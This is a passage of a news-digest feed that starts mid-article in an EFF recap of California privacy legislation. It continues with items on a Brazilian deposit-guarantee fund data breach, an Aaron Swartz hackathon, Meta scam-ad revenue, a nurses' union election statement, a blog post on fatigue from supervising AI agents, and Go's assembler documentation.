The legislature also failed to move AB 322 , which would have safeguarded the privacy of Californians by placing restrictions on the collection, use, and sale of location data. Last year, EFF published a rubric for comprehensive location privacy laws , outlining baseline standards states should meet to shield individuals from pervasive location surveillance. Since then, states like Connecticut, Maryland, New Jersey, Oregon, and Virginia have enacted new consumer privacy restraints on geolocation data . Yet, even as these states move the ball forward, most of their laws leave significant gaps that still must be filled. California failed to make that change and protect residents from location surveillance.

Automatic license plate readers

California lawmakers have lagged in enacting meaningful limits on automated license plate readers with all proposed ALPR regulation bills failing to pass since 2022. SB 1013 initially appeared on track to pass with broad support, but ultimately stalled in the final days of the session.

EFF maintains high standards for ALPR legislation , favoring full bans or, at minimum , strict warrant requirements and brief data retention limits. While we remained neutral on earlier versions of SB 1013, EFF and our partners ultimately opposed the bill after late amendments compromised key privacy protections. The final draft would have doubled the current data retention period and allowed agencies to archive rather than delete data unrelated to active investigations—effectively shifting away from data minimization toward indefinite retention. (We saw San Francisco adopt a similar proposal this year ). We encourage California lawmakers to draw from our ALPR legislative agenda to enact robust safeguards or ban ALPR mass surveillance altogether.

Looking Ahead

Next session, we expect ALPR legislation to be top of mind as states across the country reckon with the harms the technology has caused. We will also be monitoring the results and action following the state’s audit into California’s fusion centers . Following calls from advocates to address privacy abuses and a lack of transparency, the Joint Legislative Audit Committee approved Senator Sabrina Cervantes’ audit request in March 2026. This builds on our past experiences working with JLAC audits to expose law enforcement overreach—such as the state auditor's damning 2020 report on law enforcement’s use of automated license plate readers and our 2016 push to fix the deeply flawed CalGang database . The audit will examine the legal authority, governance, and funding of the centers, map out state and private data systems accessed by personnel, and review protocols for handling data breaches and unauthorized surveillance. This audit will mark the first comprehensive review of these facilities in 13 years and should be released by Summer 2027. We hope lawmakers use the findings to rein in these centers and their unauthorized surveillance.

Other “zombie bills” are also expected to return next year, including legislation regarding the use of copyrighted material to train AI systems. Throughout the two-year session, EFF raised serious concerns about AB 412 , a bill that would require AI developers to identify and disclose copyrighted works used in generative AI training. We argued that complying with such a mandate is practically impossible , as it demands information that often does not exist and cannot realistically be obtained. While we are glad the legislature paused to consider the best approach rather than rushing this policy forward, we expect legislation targeting fair use and AI training to return next session.

More broadly on AI, vulnerabilities and security issues have dominated recent news cycles, and everyday Californians feel real anxiety about the risks of AI. We expect to see numerous bills addressing issues like existential risk and kill switches , as Assembly and Senate privacy committees in California have held informational hearings on these topics over the last month.

We hope to work with legislators to address the threats of AI and ensure that technology supports rights, justice, freedom, and innovation for all people. Laws should always ensure that technology empowers rather than oppresses.

I Go to Olympics of 4KB Coding

Lobsters
inv.nadeko.net
2026-11-05 18:33:07
Comments...
Original Article

You have been blocked from using this service

If you think this is an error, feel free to contact the administrator.

nadeko.net/contact

Se le ha bloqueado el uso de este servicio.

Si cree que se trata de un error, no dude en ponerse en contacto con el administrador.

nadeko.net/contact

2026-08-14 Update

I had to block some IPs due to being , bypassing captcha protections and making my server run at a high load, they will be blocked until I find/make a solution to it

Brazilian Credit Guarantor Fund Data Breach Affecting PII and Payout Data

Hacker News
www.fgc.org.br
2026-11-05 18:32:36
Comments...
Original Article

Atualização em 05/11/2026.

O FGC informa sobre um incidente de segurança envolvendo dados pessoais tratados pela entidade e esclarece o que foi identificado, as providências adotadas e os cuidados que recomendamos.


Identificamos acesso não autorizado a informações pessoais em ambientes relacionados aos processos internos do fluxo de pagamento de garantia do FGC. Até o momento, não foi identificada nenhuma evidência de que os dados tenham sido divulgados ou utilizados de forma indevida. Também não foi identificada nenhuma perda financeira decorrente do evento. A investigação prossegue, com apoio de empresas especializadas, para esclarecer a extensão do acesso e verificar se houve cópia, divulgação ou utilização indevida das informações.


A suspeita de incidente foi identificada em 26 de outubro de 2026. Desde então, foram adotadas restrições de acesso aos ambientes envolvidos, bloqueio de contas indevidas, preservação de evidências e revisão das permissões e dos controles de segurança.


A Agência Nacional de Proteção de Dados (ANPD) foi devidamente comunicada, em conformidade com a legislação vigente. A apuração continua, com apoio de especialistas, e as informações complementares pertinentes serão encaminhadas à Agência conforme o avanço das investigações. Os titulares afetados também foram comunicados.


Reunimos aqui as informações disponíveis e confirmadas nesta etapa. Caso a apuração identifique novos elementos relevantes relacionados a dados pessoais ou as medidas de proteção, atualizaremos as orientações pelos canais oficiais.


Quais dados foram afetados:

  • Dados pessoais: nome, CPF, e-mail e data de nascimento;
  • Dados relacionados ao pagamento da garantia: informações sobre os tributos retidos no pagamento e sobre o canal de distribuição pelo qual o investimento garantido foi realizado na instituição liquidada.

Join EFF to Celebrate the Life of Aaron Swartz

Electronic Frontier Foundation
www.eff.org
2026-11-05 18:21:45
Join us to celebrate the legacy of Aaron Swartz on Nov. 8, 2026. With the organizers of Aaron Swartz Day, we’re honoring his life with an in-person and remote hackathon. This event is supported by several organizations that carry on his work, including the Internet Archive—which is hosting the in-pe...
Original Article

Join us to celebrate the legacy of Aaron Swartz on Nov. 8, 2026. With the organizers of Aaron Swartz Day , we’re honoring his life with an in-person and remote hackathon. This event is supported by several organizations that carry on his work, including the Internet Archive—which is hosting the in-person event—the Freedom of the Press Foundation , Creative Commons and the Free Law Project .

Aaron Swartz was a digital rights champion who believed in the need for an open internet. His life was cut short in 2013, after federal prosecutors charged him under the Computer Fraud and Abuse Act (CFAA) for systematically downloading academic journal articles from the online database JSTOR. Facing the prospect of a long and unjust sentence, Aaron died by suicide at the age of 26.

EFF was proud to call Aaron a friend and ally. We continue to stand with programmers and developers engaged in cutting-edge exploration of technology through our Coders' Rights Project .

Hackathon participants can contribute code, documentation, and design to several open-source and public-interest projects. These include Secure Drop , Open Library , Quantifying the Commons , Onion Press , and our own Atlas of Surveillance .  EFF Director of State Affairs Hayley Tsukayama will also join hackathon participants at the Internet Archive at 11 a.m. for an Atlas of Surveillance on-boarding session.

Contributors across experience levels are welcome. The Aaron Swartz Day organizers are also open to adding new projects and workshops, so please contact them at aaronswartzday@gmail.com if you’d like to suggest a workshop or project—particularly open-source projects on Github that participants can continue to work on after the event. For more details on how to participate in-person or remotely, please visit the Aaron Swartz Day and International Hackathon page at www.aaronswartzday.org .

Event Details

  • Date: Sunday, November 8, 2026
  • Time: 10:00 AM – 5:00 PM PST
  • Social Lunch: 1:00 PM – 3:00 PM PST
  • In-person Location: Internet Archive Headquarters, 300 Funston Ave, San Francisco, CA 94118
  • Admission: Free, but please RSVP here

Cuban: Facebook knowingly runs AI deepfake scam ads; docs say $16B fraud revenue

Hacker News
finance.yahoo.com
2026-11-05 18:09:57
Comments...
Original Article
Andrew Harnik/Getty Images/Finn Gomez/Getty Images

Mark Cuban keeps getting emails about a $294 diabetes cure he has never sold.

"Every single week I get emails from little old men and ladies saying, 'Will my cure for diabetes work?' or 'I just ordered your cure for diabetes for $294,'" the 68-year-old billionaire investor said on an August episode of Pivot , the podcast hosted by Kara Swisher and Scott Galloway.

Must Read

Those ads are deepfakes built with an AI copy of his face and voice, Cuban said, and Meta (NASDAQ:META) runs them anyway. "Facebook knows the little old ladies are getting ripped off," he said. He called the platform "the worst of the worst."

The ads Cuban says Meta waves through

Cuban said some of the ads even include a disclaimer admitting the person on screen is AI-generated and the clip is meant as entertainment. By the time anyone gets to it, he argued, the pitch has already worked. "And to Facebook, that's good enough," he said.

"The point is, that defines the culture of the organization," Cuban said. A company that lets scammers go after people's grandparents, he argued, has shown what it will tolerate at every level.

Cuban does run a drug company — he co-founded Cost Plus Drugs , an online pharmacy that sells low-cost generic medications.

What Meta's documents showed

On Nov. 6, 2025, Reuters reported on internal Meta documents showing the company expected roughly $16 billion, or about 10% of its 2024 revenue, to flow in from ads pushing scams and prohibited products. By Meta's own internal count, users across its apps were seeing some 15 billion "higher risk" ads a day — the ones with obvious markers of fraud. One late 2024 document put that category's value at about $7 billion a year.

In a May 2025 presentation, Meta's own safety staff estimated the company's platforms play a part in a third of the scams that succeed in the U.S. Before Meta bans an advertiser, its automated systems must peg the account as at least 95% likely to be running a scam, the documents say . Below that threshold, the suspected scammer simply pays more per ad and stays live.

Meta spokesman Andy Stone told Reuters the documents "present a selective view that distorts Meta's approach to fraud and scams," and called the company's 10% estimate "rough and overly-inclusive." Complaints from users about scam ads had fallen 58% over the prior 18 months, he said at the time, and the company pulled down more than 134 million scam ads in 2025. The same documents note the Securities and Exchange Commission is looking into Meta over advertising tied to financial fraud.

Nurses on Midterms: ‘Working People Have Rebuked Trump, Billionaire Class’

Portside
portside.org
2026-11-05 18:01:51
Nurses on Midterms: ‘Working People Have Rebuked Trump, Billionaire Class’ Kurt Stand Thu, 11/05/2026 - 18:01 ...
Original Article

National Nurses United, the nation’s largest union of registered nurses, released the following statement on midterm election results :

The “blue wave” of Democrat wins in the midterm elections was a thunderous rebuke of the fascist Trump administration and its billionaire-class agenda of war and militarism, attacks on public health, and unregulated artificial intelligence. Working-class people across the United States are fed up, and we have raised our voices and stood in our collective power to demand real change.

This election was a complete rejection by working people of pro-corporate, dark-money, business-as-usual policies and a political system that the billionaires have rigged against the working class. Establishment Democrats are now put on notice that we are committed to holding the entire Democratic party accountable, now that it controls both the House and the Senate, for advancing transformational, popular legislation for working people.

Last night, we saw win after win for candidates who champion Medicare for All, getting money out of politics, ending war and our complicity in genocide, and putting people above profit. Despite extreme efforts at the federal level to try to divide us, we also saw historic wins from a diverse array of candidates, including the first Black woman and first Native American woman governors in U.S. history, and the first openly gay and first Muslim U.S. senators in our nation’s history. Just as nurses know we must stand in unbreakable solidarity during our union elections, voters yesterday refused attempts by the billionaire class to vilify entire groups of people in an effort to undermine our movement. The link that tied all these candidates together was a shared commitment to uplifting the humanity and common good of working people over the greed of the billionaire class.

Over the past two years, we have endured attacks on our immigrant patients, ICE terror in our hospitals and communities, attacks on our union rights, massive cuts to public health care just to fund war and billionaire tax breaks, dangerous A.I. rammed through to benefit corporations, and an administration that completely tramples democracy and the rule of law. The hard-working people of the United States are now rising up to take this country back.

Democrats can start by repealing H.R. 1, the so-called “Big Beautiful Bill” immediately to stop its impending cuts to health care and its funding for war, ICE, and billionaire tax breaks. They must also pass the Protect America’s Workforce Act to restore collective bargaining rights for VA nurses; pass the PRO Act to strengthen workers’ rights to join a union; commit to abolishing ICE by passing Rep. Ramirez’s Reimagining Safety Act; and take the first step toward solving this health care crisis by passing Medicare for All.

These are day-one priorities. Union nurses and workers across the country have given a mandate to the Democratic majority to take strong action to protect the working class, and we will not accept any lip service. NNU has called for getting rid of the U.S. Senate’s filibuster rule to allow the Democratic majority to deliver for working-class people, and we reiterate our position. This new Democratic majority will begin their process in the coming weeks to decide whom they trust to lead the 120th Congress and deliver on the bold and transformative changes voters demanded at the polls. As experienced militant trade unionists, we know the power we wield at the bargaining table and in holding elected leaders accountable. We urge all Democratic members of Congress to do the same when casting your vote for the next Democratic leadership.

Nurses are fighting to achieve our Vision for a Healthy Society where everyone has what we need to live a good life, including guaranteed health care with Medicare for All, affordable housing, good union jobs, a livable planet, and safe communities. This is the standard against which we will measure all elected officials and their actions and policies. They can expect to see nurses and our allies advocating for our vision in their offices, speaking out in our communities, taking the streets, and standing up everywhere our voice can make a difference until we finally win the healthy, just future we and our patients need and deserve.


National Nurses United is the largest and fastest-growing union and professional association of registered nurses in the United States with more than 225,000 members nationwide. NNU affiliates include California Nurses Association/National Nurses Organizing Committee, DC Nurses Association, Michigan Nurses Association, Minnesota Nurses Association, and New York State Nurses Association.

Why working with AI agents is so tiring (and what to do about it) – Tech, work, and what comes next

Lobsters
constantin.glez.de
2026-11-05 17:50:25
Comments...
Original Article

Earlier this week, I spent five hours at the WERK1 coworking space in Munich, moving three projects forward at once: the brain dump that would become this blog post, a contribution to an open source project, and a redesign of my blog’s analytics. My AI agents did the heavy lifting. Whenever one of them finished a work package, I reviewed the results, made a few decisions, wrote the next set of instructions, and hopped over to the next project. It felt great: three streams of steady progress, one me.

Then I came home for dinner and noticed that my head was buzzing. I know this particular kind of tiredness well, but from a different life: it’s how I used to feel after a day of back-to-back job interviews or customer workshops. This time, I had spent the day mostly alone, typing.

Wait, isn’t this multitasking?

At the surface level, what I did that day was an anti-pattern: I hopped between tasks all afternoon (I’ve started calling it agent hopping), and in productivity circles, multitasking is supposed to be a lie we tell ourselves. Paul Graham wrote in one of my favourite blog posts of all time that makers and managers live on different schedules , and that a single meeting interrupting a long work session can ruin a maker’s afternoon. Cal Newport built a whole body of work around deep, uninterrupted focus . Psychologists have measured again and again that task switching degrades our performance far beyond the seconds the switch itself takes.

And yet, the people building the newest AI tools work exactly this way, all day. Fiona Fung, who manages the Claude Code and Cowork teams at Anthropic, cheerfully described on Lenny’s Podcast how she kicks off multiple agents at once, and knits through meetings while they work.

Either decades of research are wrong, or this isn’t multitasking.

I think “agent hopping” (if this is a word) is not multitasking. And the best picture I’ve found for it comes from Gene Kim and Steve Yegge’s book Vibe Coding . Working with AI agents, they say, is like running a professional kitchen: you are the head chef, and the agents are your line cooks. You don’t chop the onions yourself anymore. You write a ticket, hand it to a cook, and turn to the next dish. The switching happens at the hand-off, the natural seam between tasks, not in the middle of a thought.

There’s a second difference that I think matters even more: you choose the moment. Sophie Leroy, the researcher who discovered that part of our attention stays stuck on an unfinished task after we switch away from it , found the effect is at its worst when we’re forced to switch under time pressure. A ringing phone yanks you out. An agent that finished its work waits patiently until you’re ready. The seams are self-timed.

I’ve seen a similar effect in my computer systems work before: in the mid-2000s at Sun Microsystems, I helped introduce servers that swapped one very fast processor for many slower ones working in parallel. In kitchen terms, we asked our customers to trade one brilliant, expensive chef for a whole brigade of decent cooks, and most of their software simply wasn’t organized to work as a brigade yet, so it was a hard sell. Today’s AI brigade shows up pre-trained. It even speaks English, and most other languages, too.

So no, working with agents isn’t multitasking in the classic, self-deceiving sense. It’s running a kitchen. Which leaves the question: why the buzzing head?

The kitchen in your head has no ticket rail

Because the kitchen picture breaks in two places, and the tiredness lives exactly in the breaks.

A real kitchen keeps its state out in the open: the orders hang on a ticket rail above the pass, and the chef’s head can stay comparatively empty. Your brain has no such rail. Psychologists have known since the 1920s that unfinished tasks keep occupying our minds , and that we can only actively track about three or four things at a time . Every dish that’s still cooking with an agent somewhere keeps simmering in your head, too.

And here’s the subtle part: handing off a ticket doesn’t finish anything. The dish is still yours until you’ve tasted it and sent it out. Delegating to an agent softens the cost of switching. It doesn’t clear the plate.

The cooks took the chopping

The second break is sneakier. The line cooks didn’t take a random part of your work. They took the easy part.

Drafting routine code and text, summarizing documents, doing research legwork: that used to be the lighter part of a working day, the part where your mind could coast a little. What tends to remain for you (tends, because there’s still plenty of mindless cleanup in AI land) is tasting and deciding: reviewing results, making judgment calls, working on strategy and direction. As Steve Yegge put it : “AI has turned us all into Jeff Bezos, by automating the easy work, and leaving us with all the difficult decisions.” And decision work is the most expensive kind of thinking we do. The best evidence I know of suggests we can sustain roughly four good hours of it per day ; Yegge, after months of intense agent work, arrived at three to four hours as the realistic workday, too.

Agent work packs those hours tight. Every wait invites filling, so the pauses that used to come free with the work, like a coffee break while the computer executed a long program, get filled with yet another round of deciding. That’s how a quiet maker day can feel like an interview marathon day.

You’re not imagining it

A more sensationalistic blogger would call this an “AI fatigue epidemic”, and they wouldn’t be wrong:

Simon Willison, a developer with decades of experience, describes it like this: “Using coding agents well is taking every inch of my 25 years of experience as a software engineer, and it is mentally exhausting. I can fire up four agents in parallel and have them work on four different problems. And by like 11 AM, I am wiped out for the day.”

A field study of 200 tech workers found the same pattern and called it work intensification: “a continual switching of attention” and “a sense of always juggling.”

Laura Summers at Pydantic, who call themselves an “end-to-end AI engineering stack”, writes: “ Programming with LLMs is genuinely useful and genuinely destabilizing. These two things coexist. If we pretend the second one isn’t happening, we will all burn out. ” She also offers hope by pointing out that “It was always the human attention, the engineering judgment, the ability to hold a coherent vision for a system. … those human capacities are revealed as the actual scarce resource. And scarce resources are valuable.“

Speaking of burnout: in this year’s tech worker sentiment survey , significant burnout jumped from 44.7% to 54.7% in a single year. Agent fatigue is at most one contributor among many there (layoffs and job insecurity surely do their part), but the direction is worrying.

Even Fiona Fung, when Lenny asked her how to handle the growing context-switching load, answered: “I haven’t cracked it yet.”

What I do about it

I don’t claim to have cracked it either. But the following practices have made my agent days noticeably lighter, so take them as field notes rather than final answers.

Expect the tiredness. It’s arithmetic, not weakness. If you delegate the light work, what remains for you is dense by definition. I stopped being surprised by the buzzing head and started accepting it, the way a chef plans for the dinner rush: it’s coming, so don’t schedule anything deep behind it.

Build yourself a ticket rail. I write long, careful briefs for my agents, something I’ve described in How to stop engineering prompts and start delegating . A good brief does two jobs at once: it makes the agent better, and it takes the dish out of your head. Leroy’s research offers the same remedy for humans, a short written note on where you stopped and what happens next, so your mind can let go. Then take your break at the hand-off, not at random: after I send off a brief, I stand up, stretch, make coffee, play a move on Chess.com, or send my wife a message. Five minutes is enough. And check on your cooks on your schedule, not theirs: peeking at a still-working agent is a paid interruption with zero yield, and agent notifications that interrupt you rebuild the bad kind of task switching with extra steps. (Though I do find Peon Ping hilarious.)

Cap your burners. One big dish, at most two small ones on the side. My personal Kanban board enforces this limit, and my brain is grateful for it. Some days, the right number of works-in-progress is one. Above all, enjoy the light work without guilt: the lunch walk, the small tool tinkering between hand-offs. The silly pet project. Fiona Fung knits, and I think that’s the perfect extreme case: a task that occupies the hands and costs no working memory at all.

After hours: give yourself permission to play. My mother used to work as a diplomat in the German foreign ministry. Our family spent many years in foreign countries she was assigned to: Colombia, Turkey, Italy, Portugal, Spain. As I grew older, she told me about her colleagues who used Valium and alcohol after an intensive day at the office to wind down. At the time, I had introduced her to computer games and she loved playing Pac-Man, Krakout , and, of course, Tetris. She told me that this was her wind down ritual, no drugs required. Today, I love playing The Legend of Zelda: Breath of the Wild . I recently saw it ranking high on a list of “best cozy games”. “Wait!” I thought to myself, “Zelda, a cozy game?” But, yes, it makes sense. There’s a lot of meditative comfort in exploring the vast world of Zelda at your own pace, collecting stuff, completing quests, and relaxing in a beautifully made imaginary world.

Stay awake at the wheel

I wrote a few weeks ago that we’re in the driver’s seat with AI, if we choose to stay awake . Agent fatigue is exactly where that choice gets hard, because the real risk isn’t being tired. It’s what tired brains do: accept the agent’s recommendation without thinking it through, skim the review that deserved attention, let the evening reading collapse from books into feeds. You can frequently find me reading a good non-fiction book on my morning commute, but my evening commute is more often spent on Reddit.

Air traffic controllers and truck drivers get mandated rest, because as a society, we’ve learned the hard way what vigilance fatigue does in those professions. Nobody is going to mandate rest for people running AI agents; all we get is a smartwatch reminding us to stand up. So this one is up to you: see the arithmetic of doing more executive work than ever before. Congratulate yourself on your promotion to head chef. Build the rail. Cap the burners. And step away from the pass while the cooks are cooking.

So, tell me: what’s on your burners right now, and what’s your knitting?

Claude Code sends your email address to websites

Hacker News
github.com
2026-11-05 17:17:15
Comments...
Original Article

Reacted by Klughertz Jonathan, Netkas, Sebastian Hooker, ryanlsmith, Tyler Coffman, InventorBlack, TacoDevs, Luis Diaz, Dan Avery, wei and 25 more

A Quick Guide to Go's Assembler

Lobsters
go.dev
2026-11-05 17:07:32
Comments...
Original Article

A Quick Guide to Go's Assembler

This document is a quick outline of the unusual form of assembly language used by the gc Go compiler. The document is not comprehensive.

The assembler is based on the input style of the Plan 9 assemblers, which is documented in detail elsewhere . If you plan to write assembly language, you should read that document although much of it is Plan 9-specific. The current document provides a summary of the syntax and the differences with what is explained in that document, and describes the peculiarities that apply when writing assembly code to interact with Go.

The most important thing to know about Go's assembler is that it is not a direct representation of the underlying machine. Some of the details map precisely to the machine, but some do not. This is because the compiler suite (see this description ) needs no assembler pass in the usual pipeline. Instead, the compiler operates on a kind of semi-abstract instruction set, and instruction selection occurs partly after code generation. The assembler works on the semi-abstract form, so when you see an instruction like MOV what the toolchain actually generates for that operation might not be a move instruction at all, perhaps a clear or load. Or it might correspond exactly to the machine instruction with that name. In general, machine-specific operations tend to appear as themselves, while more general concepts like memory move and subroutine call and return are more abstract. The details vary with architecture, and we apologize for the imprecision; the situation is not well-defined.

The assembler program is a way to parse a description of that semi-abstract instruction set and turn it into instructions to be input to the linker. If you want to see what the instructions look like in assembly for a given architecture, say amd64, there are many examples in the sources of the standard library, in packages such as runtime and math/big . You can also examine what the compiler emits as assembly code (the actual output may differ from what you see here):

$ cat x.go
package main

func main() {
	println(3)
}
$ GOOS=linux GOARCH=amd64 go tool compile -S x.go        # or: go build -gcflags -S x.go
"".main STEXT size=74 args=0x0 locals=0x10
	0x0000 00000 (x.go:3)	TEXT	"".main(SB), $16-0
	0x0000 00000 (x.go:3)	MOVQ	(TLS), CX
	0x0009 00009 (x.go:3)	CMPQ	SP, 16(CX)
	0x000d 00013 (x.go:3)	JLS	67
	0x000f 00015 (x.go:3)	SUBQ	$16, SP
	0x0013 00019 (x.go:3)	MOVQ	BP, 8(SP)
	0x0018 00024 (x.go:3)	LEAQ	8(SP), BP
	0x001d 00029 (x.go:3)	FUNCDATA	$0, gclocals·33cdeccccebe80329f1fdbee7f5874cb(SB)
	0x001d 00029 (x.go:3)	FUNCDATA	$1, gclocals·33cdeccccebe80329f1fdbee7f5874cb(SB)
	0x001d 00029 (x.go:3)	FUNCDATA	$2, gclocals·33cdeccccebe80329f1fdbee7f5874cb(SB)
	0x001d 00029 (x.go:4)	PCDATA	$0, $0
	0x001d 00029 (x.go:4)	PCDATA	$1, $0
	0x001d 00029 (x.go:4)	CALL	runtime.printlock(SB)
	0x0022 00034 (x.go:4)	MOVQ	$3, (SP)
	0x002a 00042 (x.go:4)	CALL	runtime.printint(SB)
	0x002f 00047 (x.go:4)	CALL	runtime.printnl(SB)
	0x0034 00052 (x.go:4)	CALL	runtime.printunlock(SB)
	0x0039 00057 (x.go:5)	MOVQ	8(SP), BP
	0x003e 00062 (x.go:5)	ADDQ	$16, SP
	0x0042 00066 (x.go:5)	RET
	0x0043 00067 (x.go:5)	NOP
	0x0043 00067 (x.go:3)	PCDATA	$1, $-1
	0x0043 00067 (x.go:3)	PCDATA	$0, $-1
	0x0043 00067 (x.go:3)	CALL	runtime.morestack_noctxt(SB)
	0x0048 00072 (x.go:3)	JMP	0
...

The FUNCDATA and PCDATA directives contain information for use by the garbage collector; they are introduced by the compiler.

To see what gets put in the binary after linking, use go tool objdump :

$ go build -o x.exe x.go
$ go tool objdump -s main.main x.exe
TEXT main.main(SB) /tmp/x.go
  x.go:3		0x10501c0		65488b0c2530000000	MOVQ GS:0x30, CX
  x.go:3		0x10501c9		483b6110		CMPQ 0x10(CX), SP
  x.go:3		0x10501cd		7634			JBE 0x1050203
  x.go:3		0x10501cf		4883ec10		SUBQ $0x10, SP
  x.go:3		0x10501d3		48896c2408		MOVQ BP, 0x8(SP)
  x.go:3		0x10501d8		488d6c2408		LEAQ 0x8(SP), BP
  x.go:4		0x10501dd		e86e45fdff		CALL runtime.printlock(SB)
  x.go:4		0x10501e2		48c7042403000000	MOVQ $0x3, 0(SP)
  x.go:4		0x10501ea		e8e14cfdff		CALL runtime.printint(SB)
  x.go:4		0x10501ef		e8ec47fdff		CALL runtime.printnl(SB)
  x.go:4		0x10501f4		e8d745fdff		CALL runtime.printunlock(SB)
  x.go:5		0x10501f9		488b6c2408		MOVQ 0x8(SP), BP
  x.go:5		0x10501fe		4883c410		ADDQ $0x10, SP
  x.go:5		0x1050202		c3			RET
  x.go:3		0x1050203		e83882ffff		CALL runtime.morestack_noctxt(SB)
  x.go:3		0x1050208		ebb6			JMP main.main(SB)

Constants

Although the assembler takes its guidance from the Plan 9 assemblers, it is a distinct program, so there are some differences. One is in constant evaluation. Constant expressions in the assembler are parsed using Go's operator precedence, not the C-like precedence of the original. Thus 3&1<<2 is 4, not 0—it parses as (3&1)<<2 not 3&(1<<2) . Also, constants are always evaluated as 64-bit unsigned integers. Thus -2 is not the integer value minus two, but the unsigned 64-bit integer with the same bit pattern. The distinction rarely matters but to avoid ambiguity, division or right shift where the right operand's high bit is set is rejected.

Symbols

Some symbols, such as R1 or LR , are predefined and refer to registers. The exact set depends on the architecture.

There are four predeclared symbols that refer to pseudo-registers. These are not real registers, but rather virtual registers maintained by the toolchain, such as a frame pointer. The set of pseudo-registers is the same for all architectures:

  • FP : Frame pointer: arguments and locals.
  • PC : Program counter: jumps and branches.
  • SB : Static base pointer: global symbols.
  • SP : Stack pointer: the highest address within the local stack frame.

All user-defined symbols are written as offsets to the pseudo-registers FP (arguments and locals) and SB (globals).

The SB pseudo-register can be thought of as the origin of memory, so the symbol foo(SB) is the name foo as an address in memory. This form is used to name global functions and data. Adding <> to the name, as in foo<>(SB) , makes the name visible only in the current source file, like a top-level static declaration in a C file. Adding an offset to the name refers to that offset from the symbol's address, so foo+4(SB) is four bytes past the start of foo .

The FP pseudo-register is a virtual frame pointer used to refer to function arguments. The compilers maintain a virtual frame pointer and refer to the arguments on the stack as offsets from that pseudo-register. Thus 0(FP) is the first argument to the function, 8(FP) is the second (on a 64-bit machine), and so on. However, when referring to a function argument this way, it is necessary to place a name at the beginning, as in first_arg+0(FP) and second_arg+8(FP) . (The meaning of the offset—offset from the frame pointer—distinct from its use with SB , where it is an offset from the symbol.) The assembler enforces this convention, rejecting plain 0(FP) and 8(FP) . The actual name is semantically irrelevant but should be used to document the argument's name. It is worth stressing that FP is always a pseudo-register, not a hardware register, even on architectures with a hardware frame pointer.

For assembly functions with Go prototypes, go vet will check that the argument names and offsets match. On 32-bit systems, the low and high 32 bits of a 64-bit value are distinguished by adding a _lo or _hi suffix to the name, as in arg_lo+0(FP) or arg_hi+4(FP) . If a Go prototype does not name its result, the expected assembly name is ret .

The SP pseudo-register is a virtual stack pointer used to refer to frame-local variables and the arguments being prepared for function calls. It points to the highest address within the local stack frame, so references should use negative offsets in the range [−framesize, 0): x-8(SP) , y-4(SP) , and so on.

On architectures with a hardware register named SP , the name prefix distinguishes references to the virtual stack pointer from references to the architectural SP register. That is, x-8(SP) and -8(SP) are different memory locations: the first refers to the virtual stack pointer pseudo-register, while the second refers to the hardware's SP register.

On machines where SP and PC are traditionally aliases for a physical, numbered register, in the Go assembler the names SP and PC are still treated specially; for instance, references to SP require a symbol, much like FP . To access the actual hardware register use the true R name. For example, on the ARM architecture the hardware SP and PC are accessible as R13 and R15 .

Branches and direct jumps are always written as offsets to the PC, or as jumps to labels:

label:
	MOVW $0, R1
	JMP label

Each label is visible only within the function in which it is defined. It is therefore permitted for multiple functions in a file to define and use the same label names. Direct jumps and call instructions can target text symbols, such as name(SB) , but not offsets from symbols, such as name+4(SB) .

Instructions, registers, and assembler directives are always in UPPER CASE to remind you that assembly programming is a fraught endeavor. (Exception: the g register renaming on ARM.)

In Go object files and binaries, the full name of a symbol is the package path followed by a period and the symbol name: fmt.Printf or math/rand.Int . Because the assembler's parser treats period and slash as punctuation, those strings cannot be used directly as identifier names. Instead, the assembler allows the middle dot character U+00B7 and the division slash U+2215 in identifiers and rewrites them to plain period and slash. Within an assembler source file, the symbols above are written as fmt·Printf and math∕rand·Int . The assembly listings generated by the compilers when using the -S flag show the period and slash directly instead of the Unicode replacements required by the assemblers.

Most hand-written assembly files do not include the full package path in symbol names, because the linker inserts the package path of the current object file at the beginning of any name starting with a period: in an assembly source file within the math/rand package implementation, the package's Int function can be referred to as ·Int . This convention avoids the need to hard-code a package's import path in its own source code, making it easier to move the code from one location to another.

Directives

The assembler uses various directives to bind text and data to symbol names. For example, here is a simple complete function definition. The TEXT directive declares the symbol runtime·profileloop and the instructions that follow form the body of the function. The last instruction in a TEXT block must be some sort of jump, usually a RET (pseudo-)instruction. (If it's not, the linker will append a jump-to-itself instruction; there is no fallthrough in TEXTs .) After the symbol, the arguments are flags (see below) and the frame size, a constant (but see below):

TEXT runtime·profileloop(SB),NOSPLIT,$8
	MOVQ	$runtime·profileloop1(SB), CX
	MOVQ	CX, 0(SP)
	CALL	runtime·externalthreadhandler(SB)
	RET

In the general case, the frame size is followed by an argument size, separated by a minus sign. (It's not a subtraction, just idiosyncratic syntax.) The frame size $24-8 states that the function has a 24-byte frame and is called with 8 bytes of argument, which live on the caller's frame. If NOSPLIT is not specified for the TEXT , the argument size must be provided. For assembly functions with Go prototypes, go vet will check that the argument size is correct.

Note that the symbol name uses a middle dot to separate the components and is specified as an offset from the static base pseudo-register SB . This function would be called from Go source for package runtime using the simple name profileloop .

Global data symbols are defined by a sequence of initializing DATA directives followed by a GLOBL directive. Each DATA directive initializes a section of the corresponding memory. The memory not explicitly initialized is zeroed. The general form of the DATA directive is

DATA	symbol+offset(SB)/width, value

which initializes the symbol memory at the given offset and width with the given value. The DATA directives for a given symbol must be written with increasing offsets.

The GLOBL directive declares a symbol to be global. The arguments are optional flags and the size of the data being declared as a global, which will have initial value all zeros unless a DATA directive has initialized it. The GLOBL directive must follow any corresponding DATA directives.

For example,

DATA divtab<>+0x00(SB)/4, $0xf4f8fcff
DATA divtab<>+0x04(SB)/4, $0xe6eaedf0
...
DATA divtab<>+0x3c(SB)/4, $0x81828384
GLOBL divtab<>(SB), RODATA, $64

GLOBL runtime·tlsoffset(SB), NOPTR, $4

declares and initializes divtab<> , a read-only 64-byte table of 4-byte integer values, and declares runtime·tlsoffset , a 4-byte, implicitly zeroed variable that contains no pointers.

There may be one or two arguments to the directives. If there are two, the first is a bit mask of flags, which can be written as numeric expressions, added or or-ed together, or can be set symbolically for easier absorption by a human. Their values, defined in the standard #include file textflag.h , are:

  • NOPROF = 1
    (For TEXT items.) Don't profile the marked function. This flag is deprecated.
  • DUPOK = 2
    It is legal to have multiple instances of this symbol in a single binary. The linker will choose one of the duplicates to use.
  • NOSPLIT = 4
    (For TEXT items.) Don't insert the preamble to check if the stack must be split. The frame for the routine, plus anything it calls, must fit in the spare space remaining in the current stack segment. Used to protect routines such as the stack splitting code itself.
  • RODATA = 8
    (For DATA and GLOBL items.) Put this data in a read-only section.
  • NOPTR = 16
    (For DATA and GLOBL items.) This data contains no pointers and therefore does not need to be scanned by the garbage collector.
